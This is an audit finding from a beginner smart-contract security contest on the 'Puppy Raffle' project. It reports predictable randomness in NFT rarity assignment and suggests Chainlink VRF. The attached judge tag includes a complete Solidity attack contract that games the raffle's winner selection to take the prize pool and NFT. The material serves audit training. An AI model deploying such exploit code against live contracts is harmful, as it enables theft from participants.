Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Predictable randomness allows manipulation of NFT rarity assignment

0xharsh

Root + Impact

Description

The protocol is expected to assign NFT rarity using an unpredictable source of randomness so that every winner has a fair chance of receiving a Common, Rare, or Legendary puppy NFT.

However, the rarity is generated using msg.sender and block.difficulty, both of which are predictable or influenceable. Since the caller directly controls msg.sender, different callers can produce different rarity values, allowing participants to manipulate the rarity of the NFT they receive.

// @> NFT rarity depends on caller-controlled and predictable values
uint256 rarity =
uint256(
keccak256(
abi.encodePacked(
msg.sender,
block.difficulty
)
)
) % 100;
​
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}

Risk

Likelihood: High

Impact: High

Proof of Concept

// Assume Alice wins the raffle.
​
// Alice computes the rarity locally before calling selectWinner().
uint256 rarityAlice =
uint256(
keccak256(
abi.encodePacked(
Alice,
block.difficulty
)
)
) % 100;
​
// Bob performs the same computation.
uint256 rarityBob =
uint256(
keccak256(
abi.encodePacked(
Bob,
block.difficulty
)
)
) % 100;
​
// rarityAlice != rarityBob
​
// The NFT rarity depends on the caller rather than unbiased randomness,
// allowing participants to influence the rarity of the minted NFT.

Recommended Mitigation

- uint256 rarity =
- uint256(
- keccak256(
- abi.encodePacked(
- msg.sender,
- block.difficulty
- )
- )
- ) % 100;
​
+ Use a verifiable randomness source such as Chainlink VRF.
+ Derive the NFT rarity from the same unbiased random value used to select the winner.
+ Avoid using caller-controlled or predictable on-chain values as randomness sources.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!